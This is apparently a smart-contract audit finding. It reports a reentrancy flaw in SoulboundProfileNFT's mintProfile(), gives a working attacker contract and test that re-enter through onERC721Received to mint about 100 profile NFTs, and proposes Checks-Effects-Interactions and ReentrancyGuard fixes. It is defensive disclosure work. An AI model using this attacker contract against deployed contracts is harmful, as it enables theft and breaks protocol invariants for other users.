H-5 REENTRANCY VULNERABILITY IN SOULBOUNDPROFILENFT::MINTPROFILE()
ALLOWS MULTIPLE NFT MINTS
Description:
The mintProfile()
function in SoulboundProfileNFT is vulnerable to reentrancy attacks, allowing malicious contracts to mint multiple NFTs in a single transaction. This breaks the core invariant that each address should only be able to have one profile NFT.
Impact:
This vulnerability has several severe impacts:
Malicious contracts can mint unlimited profile NFTs
Breaks the fundamental "one profile per address" rule
Could be used to manipulate the matching system
Undermines the soulbound nature of the NFTs
Proof of Concept:
The vulnerability exists because:
The profileToToken
check happens before the NFT mint
The _safeMint()
function makes an external call to the recipient if it's a contract
A malicious contract can use this callback to re-enter mintProfile()
before the profileToToken
mapping is updated
Test demonstrating the exploit:
function test_possible_reentrancy_Case() public {
Attacker attacker = new Attacker(address(soulboundProfileNFT));
vm.prank(USER1);
attacker.attackMintProfile("Attacker", 20, "https://example.com/image.png");
assert(soulboundProfileNFT.balanceOf(address(attacker)) > 5);
console2.log("attacker soulboundProfileNFT balance", soulboundProfileNFT.balanceOf(address(attacker)));
}
Attacker Contract used in the exploit:
contract Attacker is ERC721 {
SoulboundProfileNFT soulboundProfileNFT;
uint256 private _tokenId;
constructor(address _soulboundProfileNFT) ERC721("Attacker", "ATT") {
soulboundProfileNFT = SoulboundProfileNFT(_soulboundProfileNFT);
}
function attackMintProfile(string memory name, uint8 age, string memory profileImage) public {
_tokenId++;
soulboundProfileNFT.mintProfile(name, age, profileImage);
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
while (_tokenId < 100) {
attackMintProfile("Attacker", 20, "https://example.com/image.png");
}
return this.onERC721Received.selector;
}
receive() external payable {}
}
Recommended Mitigation:
There are two possible approaches to fix this vulnerability:
Follow Check-Effects-Interactions pattern by moving _safeMint()
to the end:
solidity:src/SoulboundProfileNFT.sol
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId; //hmm this looks fishy
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
}
Use OpenZeppelin's ReentrancyGuard:
solidity:src/SoulboundProfileNFT.sol
// Add import
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract SoulboundProfileNFT is ERC721, Ownable, ReentrancyGuard {
// ... existing code ...
+ function mintProfile(string memory name, uint8 age, string memory profileImage) external nonReentrant{
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId; //hmm this looks fishy
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
}